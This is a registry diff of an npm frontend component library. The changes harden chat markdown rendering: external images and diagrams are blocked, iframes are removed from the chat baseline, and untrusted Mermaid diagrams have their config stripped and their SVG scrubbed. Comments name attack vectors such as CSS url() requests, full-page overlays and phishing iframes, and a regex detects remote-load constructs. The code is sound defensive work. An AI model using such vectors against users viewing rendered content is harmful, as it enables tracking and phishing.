@flamingo-stack/openframe-frontend-core 0.0.809 → 0.0.811

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (132) hide show
  1. package/dist/{case-study-card-MEWJNF4N.cjs → case-study-card-AMINZROX.cjs} +5 -5
  2. package/dist/{chunk-FRS2VO22.cjs → chunk-243TS7YL.cjs} +38 -38
  3. package/dist/{chunk-GAHXURKJ.cjs → chunk-5QLDHPPU.cjs} +2 -2
  4. package/dist/{chunk-WDL3GFH2.cjs → chunk-66J7ZSI5.cjs} +34 -34
  5. package/dist/{chunk-VKAFZCFV.cjs → chunk-6GT3ZL27.cjs} +28 -28
  6. package/dist/{chunk-PRCGRDHV.cjs → chunk-7Y6M4FW4.cjs} +5 -5
  7. package/dist/{chunk-TOWVMBAP.cjs → chunk-ACCZCRXT.cjs} +14 -14
  8. package/dist/{chunk-VXAKQRV7.cjs → chunk-APOMNC7H.cjs} +5 -5
  9. package/dist/{chunk-KS5V55HN.cjs → chunk-CB77J5L7.cjs} +864 -670
  10. package/dist/{chunk-VHX4A4SA.cjs → chunk-CC3Q3MQG.cjs} +2 -2
  11. package/dist/{chunk-WV44WJKR.cjs → chunk-CJ7W2SY4.cjs} +8 -8
  12. package/dist/{chunk-DDFT6VQ3.cjs → chunk-CLU2KJFB.cjs} +3 -3
  13. package/dist/{chunk-OJZBZH56.cjs → chunk-CNTBGJA7.cjs} +3 -3
  14. package/dist/{chunk-Q3C6UJJ7.cjs → chunk-CPP2APON.cjs} +89 -89
  15. package/dist/{chunk-TT64NRFU.cjs → chunk-ERLMCSGF.cjs} +3 -3
  16. package/dist/{chunk-5UTJARDM.cjs → chunk-FK2WFU7R.cjs} +17 -17
  17. package/dist/{chunk-7PNRXJX2.cjs → chunk-FX35L4Y6.cjs} +3 -3
  18. package/dist/{chunk-5GJM7VRR.cjs → chunk-GI3MMBP3.cjs} +91 -26
  19. package/dist/{chunk-AZJYMTBS.cjs → chunk-GU3GJ5DH.cjs} +50 -50
  20. package/dist/{chunk-VUKN6KEE.cjs → chunk-IQLXO6EI.cjs} +97 -97
  21. package/dist/{chunk-BT53NHR7.cjs → chunk-J6C7F63P.cjs} +120 -120
  22. package/dist/{chunk-PIKHEBG5.cjs → chunk-JNWJB4Z5.cjs} +52 -52
  23. package/dist/{chunk-5MTYKS2Q.cjs → chunk-KVDUWXVZ.cjs} +4 -4
  24. package/dist/{chunk-V4FXUIMH.cjs → chunk-LC65AC6M.cjs} +4 -4
  25. package/dist/{chunk-RZNRKWG5.cjs → chunk-MDBOYMCW.cjs} +22 -22
  26. package/dist/{chunk-AQXKXZWB.cjs → chunk-MG3HJIGG.cjs} +4 -4
  27. package/dist/{chunk-KVJKKVB3.cjs → chunk-NZSWROGM.cjs} +7 -7
  28. package/dist/{chunk-OAJ3AL4V.cjs → chunk-O32RLIN4.cjs} +6 -6
  29. package/dist/{chunk-ZAXGW4KT.cjs → chunk-O4MEG2ZS.cjs} +21 -21
  30. package/dist/{chunk-4W77VLQV.cjs → chunk-OQDPZOGC.cjs} +6 -6
  31. package/dist/{chunk-LUICXMHC.cjs → chunk-PCVY63WQ.cjs} +17 -17
  32. package/dist/{chunk-ML3DG4SS.cjs → chunk-PMOMZSCX.cjs} +5 -5
  33. package/dist/{chunk-TUZV2ZQY.cjs → chunk-Q7QYAINS.cjs} +2 -2
  34. package/dist/{chunk-KHKPLOU4.cjs → chunk-QDB2JO55.cjs} +144 -36
  35. package/dist/{chunk-KCB72H7A.cjs → chunk-R55KNVPR.cjs} +71 -71
  36. package/dist/{chunk-NG3RKTQU.cjs → chunk-SFUNXMY3.cjs} +8 -8
  37. package/dist/{chunk-3B76QFXV.cjs → chunk-TKK66KHU.cjs} +6 -6
  38. package/dist/{chunk-TGOJHOQR.cjs → chunk-U2MHQBL4.cjs} +3 -3
  39. package/dist/{chunk-I3RJLXEL.cjs → chunk-UP3TLY2V.cjs} +131 -131
  40. package/dist/{chunk-KITOT3DS.cjs → chunk-VXMPVDOS.cjs} +26 -26
  41. package/dist/{chunk-UVLTUSH3.cjs → chunk-WX5WDSKV.cjs} +583 -582
  42. package/dist/{chunk-OFGYPMTE.cjs → chunk-XLEWM5X5.cjs} +53 -53
  43. package/dist/{chunk-SZHDXXMK.cjs → chunk-YSDB6HGQ.cjs} +3 -3
  44. package/dist/{chunk-JLKGLPDC.cjs → chunk-ZW25QUJK.cjs} +16 -16
  45. package/dist/{chunk-FLW2VL5W.cjs → chunk-ZZO3FGPM.cjs} +24 -24
  46. package/dist/{cloud-tenants-DJAA23GR.cjs → cloud-tenants-XGGQG7SO.cjs} +25 -25
  47. package/dist/components/case-studies/index.cjs +41 -41
  48. package/dist/components/chat/entity-cards/dispatch.d.ts.map +1 -1
  49. package/dist/components/chat/entity-cards/dispatch.js +4 -1
  50. package/dist/components/chat/hooks/use-jetstream-dialog-subscription.js +1 -1
  51. package/dist/components/chat/hooks/use-nats-dialog-subscription.js +1 -1
  52. package/dist/components/chat/index.cjs +19 -19
  53. package/dist/components/chat/types/api.types.d.ts +8 -4
  54. package/dist/components/chat/types/api.types.d.ts.map +1 -1
  55. package/dist/components/contact/index.cjs +26 -26
  56. package/dist/components/docs/index.cjs +29 -29
  57. package/dist/components/embeds/index.cjs +26 -26
  58. package/dist/components/faq/index.cjs +27 -27
  59. package/dist/components/features/index.cjs +25 -25
  60. package/dist/components/help-center-pages/index.cjs +130 -130
  61. package/dist/components/index.cjs +90 -90
  62. package/dist/components/meeting-scheduler/index.cjs +94 -94
  63. package/dist/components/navigation/index.cjs +28 -28
  64. package/dist/components/onboarding-guides/index.cjs +28 -28
  65. package/dist/components/product-demo/index.cjs +36 -36
  66. package/dist/components/related-content/index.cjs +14 -14
  67. package/dist/components/tickets/index.cjs +32 -32
  68. package/dist/components/ui/index.cjs +25 -25
  69. package/dist/components/ui/markdown/base-components.d.ts.map +1 -1
  70. package/dist/components/ui/markdown/base-components.js +6 -7
  71. package/dist/components/ui/markdown/engine.d.ts +7 -0
  72. package/dist/components/ui/markdown/engine.d.ts.map +1 -1
  73. package/dist/components/ui/markdown/engine.js +12 -3
  74. package/dist/components/ui/markdown/external-media-notice.d.ts +33 -0
  75. package/dist/components/ui/markdown/external-media-notice.d.ts.map +1 -0
  76. package/dist/components/ui/markdown/external-media-notice.js +56 -0
  77. package/dist/components/ui/markdown/mermaid-diagram.d.ts +24 -2
  78. package/dist/components/ui/markdown/mermaid-diagram.d.ts.map +1 -1
  79. package/dist/components/ui/markdown/mermaid-diagram.js +66 -6
  80. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts +4 -4
  81. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts.map +1 -1
  82. package/dist/components/ui/markdown/rich/rich-markdown-renderer.js +2 -1
  83. package/dist/components/ui/markdown/sanitize.d.ts +28 -3
  84. package/dist/components/ui/markdown/sanitize.d.ts.map +1 -1
  85. package/dist/components/ui/markdown/sanitize.js +84 -12
  86. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts +3 -2
  87. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts.map +1 -1
  88. package/dist/{devices-AIDQW4HB.cjs → devices-H5Y4DBVC.cjs} +26 -26
  89. package/dist/{embeddable-chat-XT6GMSBX.cjs → embeddable-chat-77ZOLCCK.cjs} +89 -89
  90. package/dist/hooks/index.cjs +11 -11
  91. package/dist/index.cjs +30 -30
  92. package/dist/{knowledge-JWCFM3GO.cjs → knowledge-MGH65HXM.cjs} +26 -26
  93. package/dist/{logs-ZNIXPJXA.cjs → logs-OL7ETVK6.cjs} +33 -33
  94. package/dist/nats/index.cjs +2 -2
  95. package/dist/nats/nats-provider.d.ts +9 -3
  96. package/dist/nats/nats-provider.d.ts.map +1 -1
  97. package/dist/nats/nats-provider.js +7 -3
  98. package/dist/nats/shared-connection.d.ts +44 -1
  99. package/dist/nats/shared-connection.d.ts.map +1 -1
  100. package/dist/nats/shared-connection.js +126 -22
  101. package/dist/{policies-Z4NGPLA2.cjs → policies-BCECWQ3F.cjs} +29 -29
  102. package/dist/{remote-session-LMUFV2RZ.cjs → remote-session-HML4UF7W.cjs} +11 -11
  103. package/dist/{scripts-G4Y5SPOW.cjs → scripts-XCD6V2JB.cjs} +32 -32
  104. package/dist/{software-update-VAOKDA76.cjs → software-update-U5ESXRG5.cjs} +29 -29
  105. package/dist/{tickets-board-QF5JNSH2.cjs → tickets-board-EICQ5VLE.cjs} +14 -14
  106. package/dist/utils/app-origins.d.ts +41 -0
  107. package/dist/utils/app-origins.d.ts.map +1 -0
  108. package/dist/utils/app-origins.js +51 -0
  109. package/dist/utils/embed-auth-adapter-registry.d.ts +7 -0
  110. package/dist/utils/embed-auth-adapter-registry.d.ts.map +1 -0
  111. package/dist/utils/embed-auth-adapter-registry.js +34 -0
  112. package/dist/utils/embed-authed-fetch.d.ts.map +1 -1
  113. package/dist/utils/embed-authed-fetch.js +6 -19
  114. package/dist/utils/index.cjs +28 -12
  115. package/dist/{video-file-player-2FMFCGXE.cjs → video-file-player-4QMVTOBE.cjs} +3 -3
  116. package/package.json +1 -1
  117. package/src/components/chat/entity-cards/dispatch.tsx +12 -1
  118. package/src/components/chat/hooks/use-jetstream-dialog-subscription.ts +1 -1
  119. package/src/components/chat/hooks/use-nats-dialog-subscription.ts +1 -1
  120. package/src/components/chat/types/api.types.ts +8 -4
  121. package/src/components/ui/markdown/base-components.tsx +6 -7
  122. package/src/components/ui/markdown/engine.tsx +29 -5
  123. package/src/components/ui/markdown/external-media-notice.tsx +84 -0
  124. package/src/components/ui/markdown/mermaid-diagram.tsx +107 -5
  125. package/src/components/ui/markdown/rich/rich-markdown-renderer.tsx +11 -5
  126. package/src/components/ui/markdown/sanitize.ts +162 -15
  127. package/src/components/ui/markdown/simple-markdown-renderer.tsx +6 -2
  128. package/src/nats/nats-provider.tsx +15 -4
  129. package/src/nats/shared-connection.ts +199 -25
  130. package/src/utils/app-origins.ts +95 -0
  131. package/src/utils/embed-auth-adapter-registry.ts +49 -0
  132. package/src/utils/embed-authed-fetch.ts +7 -35
@@ -0,0 +1,56 @@
1
+ "use client";
2
+ import { Fragment, jsx, jsxs } from "react/jsx-runtime";
3
+ import { createContext } from "react";
4
+ import { ClapperboardPlayIcon } from "../../icons-v2-generated/audio-and-visual/clapperboard-play-icon.js";
5
+ import { ImageOffIcon } from "../../icons-v2-generated/audio-and-visual/image-off-icon.js";
6
+ const MarkdownMediaOriginsContext = createContext(void 0);
7
+ function externalMediaHost(url) {
8
+ try {
9
+ const parsed = new URL(url);
10
+ return parsed.protocol === "http:" || parsed.protocol === "https:" ? parsed.host : null;
11
+ } catch {
12
+ return null;
13
+ }
14
+ }
15
+ const COPY = {
16
+ image: { noun: "Image", reason: "Images from other sites are blocked for your privacy.", Icon: ImageOffIcon },
17
+ video: { noun: "Video", reason: "Videos from other sites are blocked for your privacy.", Icon: ClapperboardPlayIcon },
18
+ diagram: {
19
+ noun: "Diagram",
20
+ reason: "This diagram loads images from other sites, which are blocked for your privacy.",
21
+ Icon: ImageOffIcon
22
+ }
23
+ };
24
+ function ExternalMediaNotice({ url, kind, label }) {
25
+ const host = url ? externalMediaHost(url) : null;
26
+ if (!host && kind !== "diagram") return null;
27
+ const { noun, reason, Icon } = COPY[kind];
28
+ const title = label?.trim() || noun;
29
+ return /* @__PURE__ */ jsxs(
30
+ "span",
31
+ {
32
+ className: "my-[var(--spacing-system-xsf)] inline-flex max-w-full items-start gap-[var(--spacing-system-xsf)] whitespace-normal rounded-lg border border-ods-border bg-ods-card p-[var(--spacing-system-sf)] align-middle",
33
+ "data-external-media": kind,
34
+ children: [
35
+ /* @__PURE__ */ jsx(Icon, { size: 20, className: "shrink-0 text-ods-text-secondary", "aria-hidden": true }),
36
+ /* @__PURE__ */ jsxs("span", { className: "flex min-w-0 flex-col", children: [
37
+ /* @__PURE__ */ jsx("span", { className: "truncate text-ods-text-primary text-h6", children: title }),
38
+ /* @__PURE__ */ jsxs("span", { className: "text-ods-text-secondary text-h6", title: url ?? void 0, children: [
39
+ host ? /* @__PURE__ */ jsxs(Fragment, { children: [
40
+ "From ",
41
+ /* @__PURE__ */ jsx("span", { className: "break-words", children: host }),
42
+ ".",
43
+ " "
44
+ ] }) : null,
45
+ reason
46
+ ] })
47
+ ] })
48
+ ]
49
+ }
50
+ );
51
+ }
52
+ export {
53
+ ExternalMediaNotice,
54
+ MarkdownMediaOriginsContext,
55
+ externalMediaHost
56
+ };
@@ -93,9 +93,31 @@ export declare const MERMAID_ZOOM_STEP = 1.25;
93
93
  * element is the diagram never jumps when it lands (the admin graphs).
94
94
  */
95
95
  export type MermaidFrame = 'content' | 'fold';
96
- export declare const MermaidDiagram: React.FC<{
96
+ type MermaidDiagramProps = {
97
97
  chart: string;
98
98
  zoomable?: boolean;
99
99
  frame?: MermaidFrame;
100
- }>;
100
+ };
101
+ /**
102
+ * Untrusted source without its config. `secure` locks the keys that turn the security off, but values such as
103
+ * `fontFamily` or `themeVariables` land in the SVG's `<style>` with only their braces balanced: a `url(…)` request,
104
+ * or `position:fixed` on the diagram itself, i.e. a full-page overlay. A reply has no reason to theme a diagram.
105
+ */
106
+ declare function withoutMermaidConfig(chart: string): string;
107
+ /**
108
+ * The rendered SVG of an untrusted diagram, scrubbed before it goes into the page: no `<image>`, no reference to
109
+ * another document except a link's, no CSS that loads a resource. What reaches here passed `MERMAID_REMOTE_LOAD_RE`,
110
+ * so this is the second line, for whatever mermaid can still emit that the first one did not foresee. An SVG that
111
+ * does not parse is not drawn.
112
+ */
113
+ declare function scrubMermaidSvg(svg: string): string;
114
+ /**
115
+ * On untrusted content (no `allowRemoteMedia` above) a diagram that can load from the network while it renders is not
116
+ * drawn: a notice stands in its place, like a markdown image (`ExternalMediaNotice`). Every other diagram renders
117
+ * without its config and with its SVG scrubbed: the source is model output on the chat path.
118
+ */
119
+ export declare const MermaidDiagram: React.FC<MermaidDiagramProps>;
120
+ export declare const __withoutMermaidConfigForTest: typeof withoutMermaidConfig;
121
+ export declare const __scrubMermaidSvgForTest: typeof scrubMermaidSvg;
122
+ export {};
101
123
  //# sourceMappingURL=mermaid-diagram.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"mermaid-diagram.d.ts","sourceRoot":"","sources":["../../../../src/components/ui/markdown/mermaid-diagram.tsx"],"names":[],"mappings":"AAYA,OAAO,KAAK,KAAK,MAAM,OAAO,CAAC;AAQ/B;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoCG;AACH,eAAO,MAAM,wBAAwB;;;;CA6BqC,CAAC;AAE3E;;uCAEuC;AACvC,eAAO,MAAM,yBAAyB,QAAS,CAAC;AAkBhD;;;;;;;;;;;;;;;;;;GAkBG;AACH,eAAO,MAAM,aAAa,ilCAyBzB,CAAC;AAEF;;;;;;;;;;;;;;;;GAgBG;AACH,eAAO,MAAM,gBAAgB,OAAO,CAAC;AACrC,eAAO,MAAM,gBAAgB,IAAI,CAAC;AAClC,eAAO,MAAM,iBAAiB,OAAO,CAAC;AAStC;;;;;;GAMG;AACH,MAAM,MAAM,YAAY,GAAG,SAAS,GAAG,MAAM,CAAC;AAM9C,eAAO,MAAM,cAAc,EAAE,KAAK,CAAC,EAAE,CAAC;IAAE,KAAK,EAAE,MAAM,CAAC;IAAC,QAAQ,CAAC,EAAE,OAAO,CAAC;IAAC,KAAK,CAAC,EAAE,YAAY,CAAA;CAAE,CA2WhG,CAAC"}
1
+ {"version":3,"file":"mermaid-diagram.d.ts","sourceRoot":"","sources":["../../../../src/components/ui/markdown/mermaid-diagram.tsx"],"names":[],"mappings":"AAYA,OAAO,KAAK,KAAK,MAAM,OAAO,CAAC;AAU/B;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoCG;AACH,eAAO,MAAM,wBAAwB;;;;CA6BqC,CAAC;AAE3E;;uCAEuC;AACvC,eAAO,MAAM,yBAAyB,QAAS,CAAC;AAkBhD;;;;;;;;;;;;;;;;;;GAkBG;AACH,eAAO,MAAM,aAAa,ilCAyBzB,CAAC;AAEF;;;;;;;;;;;;;;;;GAgBG;AACH,eAAO,MAAM,gBAAgB,OAAO,CAAC;AACrC,eAAO,MAAM,gBAAgB,IAAI,CAAC;AAClC,eAAO,MAAM,iBAAiB,OAAO,CAAC;AAStC;;;;;;GAMG;AACH,MAAM,MAAM,YAAY,GAAG,SAAS,GAAG,MAAM,CAAC;AAM9C,KAAK,mBAAmB,GAAG;IAAE,KAAK,EAAE,MAAM,CAAC;IAAC,QAAQ,CAAC,EAAE,OAAO,CAAC;IAAC,KAAK,CAAC,EAAE,YAAY,CAAA;CAAE,CAAC;AAmYvF;;;;GAIG;AACH,iBAAS,oBAAoB,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAEnD;AAiBD;;;;;GAKG;AACH,iBAAS,eAAe,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,CAoB5C;AAUD;;;;GAIG;AACH,eAAO,MAAM,cAAc,EAAE,KAAK,CAAC,EAAE,CAAC,mBAAmB,CAQxD,CAAC;AAEF,eAAO,MAAM,6BAA6B,6BAAuB,CAAC;AAClE,eAAO,MAAM,wBAAwB,wBAAkB,CAAC"}
@@ -1,12 +1,14 @@
1
1
  "use client";
2
2
  import { jsx, jsxs } from "react/jsx-runtime";
3
3
  import { Maximize2, ZoomIn, ZoomOut } from "lucide-react";
4
- import { useCallback, useEffect, useLayoutEffect, useMemo, useRef, useState } from "react";
4
+ import { useCallback, useContext, useEffect, useLayoutEffect, useMemo, useRef, useState } from "react";
5
5
  import { useIsHydrated } from "../../../hooks/ui/use-is-hydrated.js";
6
+ import { absoluteHttpUrl, isAppOriginUrl, readAppOrigins } from "../../../utils/app-origins.js";
6
7
  import { AlertCircleIcon } from "../../icons-v2-generated/index.js";
7
8
  import { UnifiedSkeleton } from "../../loading/unified-skeleton.js";
8
9
  import { Button } from "../button/index.js";
9
10
  import { useLoadingScope } from "../loading-scope.js";
11
+ import { ExternalMediaNotice, MarkdownMediaOriginsContext } from "./external-media-notice.js";
10
12
  const MERMAID_SECURITY_OPTIONS = {
11
13
  htmlLabels: false,
12
14
  securityLevel: "strict",
@@ -86,10 +88,11 @@ const FRAME_CLASS = {
86
88
  content: "min-h-[200px] max-h-[70svh] md:min-h-[250px]",
87
89
  fold: "h-[70svh] min-h-[320px]"
88
90
  };
89
- const MermaidDiagram = ({
91
+ const MermaidDiagramView = ({
90
92
  chart: givenChart,
91
93
  zoomable = true,
92
- frame = "content"
94
+ frame = "content",
95
+ untrusted
93
96
  }) => {
94
97
  const chart = useLoadingScope() ? "" : givenChart;
95
98
  const [svg, setSvg] = useState("");
@@ -238,11 +241,11 @@ const MermaidDiagram = ({
238
241
  ...MERMAID_SECURITY_OPTIONS
239
242
  });
240
243
  const { svg: renderedSvg } = await withRenderTimeout(
241
- mermaid.render(renderId, chart),
244
+ mermaid.render(renderId, untrusted ? withoutMermaidConfig(chart) : chart),
242
245
  MERMAID_RENDER_TIMEOUT_MS
243
246
  );
244
247
  if (cancelled) return;
245
- setSvg(renderedSvg);
248
+ setSvg(untrusted ? scrubMermaidSvg(renderedSvg) : renderedSvg);
246
249
  pendingAnchor.current = null;
247
250
  setZoom(1);
248
251
  setError("");
@@ -262,7 +265,7 @@ const MermaidDiagram = ({
262
265
  document.getElementById(`d${renderId}`)?.remove();
263
266
  document.getElementById(renderId)?.remove();
264
267
  };
265
- }, [chart, empty, mounted]);
268
+ }, [chart, empty, mounted, untrusted]);
266
269
  const frameClass = `${FRAME_CLASS[frame]} flex w-full overflow-auto outline-none focus-visible:ring-1 focus-visible:ring-ods-accent ${zoomable && svg ? `mermaid-frame-pan select-none ${dragging ? "cursor-grabbing" : "cursor-grab"}` : ""}`;
267
270
  const frameStyle = { justifyContent: "safe center", alignItems: "safe center" };
268
271
  const body = error && !empty ? /* @__PURE__ */ jsxs("div", { className: "error-state m-auto rounded-lg border border-ods-border bg-ods-card p-6", children: [
@@ -371,6 +374,61 @@ const MermaidDiagram = ({
371
374
  )
372
375
  ] });
373
376
  };
377
+ const MERMAID_REMOTE_LOAD_RE = /@\{|(?:^|[\n;])[ \t]*(?:properties|details)\b|url\s*\(|image(?:-set)?\s*\(|\bsrc\s*\(|@import|^[ \t]*(?:style|classDef|linkStyle)\b[^\n]*\\/im;
378
+ const MERMAID_FRONT_MATTER_RE = /^\s*---[ \t]*\r?\n[\s\S]*?\r?\n---[ \t]*(?:\r?\n|$)/;
379
+ const MERMAID_DIRECTIVE_RE = /%%\{[\s\S]*?(?:\}%%|$)/g;
380
+ function withoutMermaidConfig(chart) {
381
+ return chart.replace(MERMAID_FRONT_MATTER_RE, "").replace(MERMAID_DIRECTIVE_RE, "");
382
+ }
383
+ const SVG_CSS_RESOURCE_DECL_RE = /[^;{}]*(?:url\s*\((?!\s*['"]?\s*#)|image(?:-set)?\s*\(|\bsrc\s*\(|\\)[^;{}]*;?/gi;
384
+ const CSS_URL_ATTRIBUTES = /* @__PURE__ */ new Set([
385
+ "fill",
386
+ "stroke",
387
+ "marker-start",
388
+ "marker-mid",
389
+ "marker-end",
390
+ "clip-path",
391
+ "mask",
392
+ "filter"
393
+ ]);
394
+ function scrubMermaidSvg(svg) {
395
+ if (typeof DOMParser === "undefined") return "";
396
+ const doc = new DOMParser().parseFromString(svg, "image/svg+xml");
397
+ if (doc.getElementsByTagName("parsererror").length) return "";
398
+ for (const el of Array.from(doc.querySelectorAll("image, feImage"))) el.remove();
399
+ for (const el of Array.from(doc.querySelectorAll("*"))) {
400
+ for (const attr of Array.from(el.attributes)) {
401
+ const name = attr.name.toLowerCase();
402
+ if ((name === "href" || name === "xlink:href") && el.localName !== "a" && !attr.value.trim().startsWith("#")) {
403
+ el.removeAttribute(attr.name);
404
+ } else if (name === "style" || CSS_URL_ATTRIBUTES.has(name)) {
405
+ const cleaned = attr.value.replace(SVG_CSS_RESOURCE_DECL_RE, "");
406
+ if (cleaned !== attr.value) el.setAttribute(attr.name, cleaned);
407
+ }
408
+ }
409
+ }
410
+ for (const style of Array.from(doc.querySelectorAll("style"))) {
411
+ style.textContent = (style.textContent ?? "").replace(/@import[^;]*;?/gi, "").replace(SVG_CSS_RESOURCE_DECL_RE, "");
412
+ }
413
+ return new XMLSerializer().serializeToString(doc.documentElement);
414
+ }
415
+ function firstMermaidUrl(chart, origins) {
416
+ for (const [candidate] of chart.matchAll(/(?:https?:)?\/\/[^\s"'`)<>\\]+/gi)) {
417
+ if (!isAppOriginUrl(candidate, origins)) return absoluteHttpUrl(candidate, origins);
418
+ }
419
+ return null;
420
+ }
421
+ const MermaidDiagram = (props) => {
422
+ const media = useContext(MarkdownMediaOriginsContext);
423
+ const origins = media === void 0 ? readAppOrigins() : media;
424
+ if (origins === null) return /* @__PURE__ */ jsx(MermaidDiagramView, { ...props, untrusted: false });
425
+ if (MERMAID_REMOTE_LOAD_RE.test(withoutMermaidConfig(props.chart))) {
426
+ return /* @__PURE__ */ jsx(ExternalMediaNotice, { url: firstMermaidUrl(props.chart, origins), kind: "diagram" });
427
+ }
428
+ return /* @__PURE__ */ jsx(MermaidDiagramView, { ...props, untrusted: true });
429
+ };
430
+ const __withoutMermaidConfigForTest = withoutMermaidConfig;
431
+ const __scrubMermaidSvgForTest = scrubMermaidSvg;
374
432
  export {
375
433
  MERMAID_RENDER_TIMEOUT_MS,
376
434
  MERMAID_SECURITY_OPTIONS,
@@ -378,5 +436,7 @@ export {
378
436
  MERMAID_ZOOM_MIN,
379
437
  MERMAID_ZOOM_STEP,
380
438
  MermaidDiagram,
439
+ __scrubMermaidSvgForTest,
440
+ __withoutMermaidConfigForTest,
381
441
  mermaidStyles
382
442
  };
@@ -8,8 +8,8 @@
8
8
  * every hub/app call site compiles untouched. Deltas vs the old
9
9
  * implementation are the ones reviewed in the unification plan: the
10
10
  * sanitize stack + tag-escape pre-pass now apply to content surfaces
11
- * (`extraAllowedHtmlTags={['video','source']}` keeps authored video
12
- * working), the engine is memoized, and the dead light-mode branches are
11
+ * (`RICH_EXTRA_TAGS` and `allowRemoteMedia` keep authored video, embeds and
12
+ * CDN images working), the engine is memoized, and the dead light-mode branches are
13
13
  * gone.
14
14
  */
15
15
  import type React from 'react';
@@ -18,10 +18,10 @@ import { type MarkdownEngineProps } from '../engine';
18
18
  /**
19
19
  * The engine props this composition OWNS and therefore does not forward:
20
20
  * shortcode preprocessing, the embed component map, the `article` text
21
- * preset, the fetch link resolver, the rich tag allowlist, and streaming
21
+ * preset, the fetch link resolver, the rich tag allowlist, remote media, and streaming
22
22
  * (authored content is never streamed).
23
23
  */
24
- type RichOwnedEngineProps = 'extraAllowedHtmlTags' | 'preprocessContent' | 'componentOverrides' | 'textSize' | 'onResolveLink' | 'additionalRemarkPlugins' | 'streaming';
24
+ type RichOwnedEngineProps = 'extraAllowedHtmlTags' | 'allowRemoteMedia' | 'preprocessContent' | 'componentOverrides' | 'textSize' | 'onResolveLink' | 'additionalRemarkPlugins' | 'streaming';
25
25
  /**
26
26
  * Derived from `MarkdownEngineProps` rather than hand-copied. The previous
27
27
  * shape restated 7 engine props here and a THIRD time in `InnerProps`, so
@@ -1 +1 @@
1
- {"version":3,"file":"rich-markdown-renderer.d.ts","sourceRoot":"","sources":["../../../../../src/components/ui/markdown/rich/rich-markdown-renderer.tsx"],"names":[],"mappings":"AAEA;;;;;;;;;;;;;GAaG;AACH,OAAO,KAAK,KAAK,MAAM,OAAO,CAAC;AAG/B,OAAO,EAGL,KAAK,mBAAmB,EACzB,MAAM,uCAAuC,CAAC;AAC/C,OAAO,EAAmC,KAAK,mBAAmB,EAAE,MAAM,WAAW,CAAC;AAiCtF;;;;;GAKG;AACH,KAAK,oBAAoB,GACrB,sBAAsB,GACtB,mBAAmB,GACnB,oBAAoB,GACpB,UAAU,GACV,eAAe,GACf,yBAAyB,GACzB,WAAW,CAAC;AAEhB;;;;;GAKG;AACH,MAAM,WAAW,yBACf,SAAQ,OAAO,CAAC,mBAAmB,CAAC,EAAE,IAAI,CAAC,mBAAmB,EAAE,oBAAoB,CAAC;IACrF,qGAAqG;IACrG,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB,qFAAqF;IACrF,sBAAsB,CAAC,EAAE,MAAM,CAAC;CACjC;AA6HD,kDAAkD;AAClD,eAAO,MAAM,oBAAoB,uDAAiC,CAAC"}
1
+ {"version":3,"file":"rich-markdown-renderer.d.ts","sourceRoot":"","sources":["../../../../../src/components/ui/markdown/rich/rich-markdown-renderer.tsx"],"names":[],"mappings":"AAEA;;;;;;;;;;;;;GAaG;AACH,OAAO,KAAK,KAAK,MAAM,OAAO,CAAC;AAG/B,OAAO,EAGL,KAAK,mBAAmB,EACzB,MAAM,uCAAuC,CAAC;AAC/C,OAAO,EAAmC,KAAK,mBAAmB,EAAE,MAAM,WAAW,CAAC;AAqCtF;;;;;GAKG;AACH,KAAK,oBAAoB,GACrB,sBAAsB,GACtB,kBAAkB,GAClB,mBAAmB,GACnB,oBAAoB,GACpB,UAAU,GACV,eAAe,GACf,yBAAyB,GACzB,WAAW,CAAC;AAEhB;;;;;GAKG;AACH,MAAM,WAAW,yBACf,SAAQ,OAAO,CAAC,mBAAmB,CAAC,EAAE,IAAI,CAAC,mBAAmB,EAAE,oBAAoB,CAAC;IACrF,qGAAqG;IACrG,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB,qFAAqF;IACrF,sBAAsB,CAAC,EAAE,MAAM,CAAC;CACjC;AA8HD,kDAAkD;AAClD,eAAO,MAAM,oBAAoB,uDAAiC,CAAC"}
@@ -9,7 +9,7 @@ import { MarkdownEngine, NO_BROKEN_LINKS } from "../engine.js";
9
9
  import { resolveTextSizeConfig } from "../text-size.js";
10
10
  import { buildRichEmbedOverrides } from "./embed-overrides.js";
11
11
  import { processShortcodes } from "./shortcodes.js";
12
- const RICH_EXTRA_TAGS = ["video", "source"];
12
+ const RICH_EXTRA_TAGS = ["video", "source", "iframe"];
13
13
  const toResolveLinkResult = (body) => {
14
14
  if (typeof body !== "object" || body === null) {
15
15
  return { success: false };
@@ -81,6 +81,7 @@ const RichMarkdownInner = ({
81
81
  componentOverrides,
82
82
  textSize: "article",
83
83
  extraAllowedHtmlTags: RICH_EXTRA_TAGS,
84
+ allowRemoteMedia: true,
84
85
  skeletonSections,
85
86
  skeletonLines
86
87
  }
@@ -35,6 +35,7 @@
35
35
  * document into it before the sanitizer ever runs. See RAWTEXT_TAGS below.
36
36
  */
37
37
  import type { Root } from 'hast';
38
+ import { type AppOrigins } from '../../../utils/app-origins';
38
39
  /**
39
40
  * Tags the TEXT pre-pass forwards as raw HTML. Anything outside this set
40
41
  * (plus per-composition `extraAllowedHtmlTags`) gets its angle brackets
@@ -42,8 +43,12 @@ import type { Root } from 'hast';
42
43
  *
43
44
  * `video` is deliberately NOT in the baseline: chat strips <video>
44
45
  * server-side and playback goes through the <Video> SSOT. The rich
45
- * composition opts back in via `extraAllowedHtmlTags={['video', 'source']}`
46
+ * composition opts back in via `extraAllowedHtmlTags`
46
47
  * so authored content (blog publisher video injection) keeps working.
48
+ *
49
+ * `iframe` is not in the baseline either: on the chat surface it put a
50
+ * third-party document inside the app, a ready-made phishing page. The rich
51
+ * composition opts back in the same way, for embeds pasted into posts.
47
52
  */
48
53
  export declare const SAFE_HTML_TAGS: Set<string>;
49
54
  /**
@@ -97,10 +102,30 @@ export declare function buildSanitizeSchema(options?: BuildSanitizeSchemaOptions
97
102
  allowDoctypes?: boolean | null | undefined;
98
103
  strip?: Array<string> | null | undefined;
99
104
  };
105
+ export interface RehypeStripUnsafeOptions {
106
+ /**
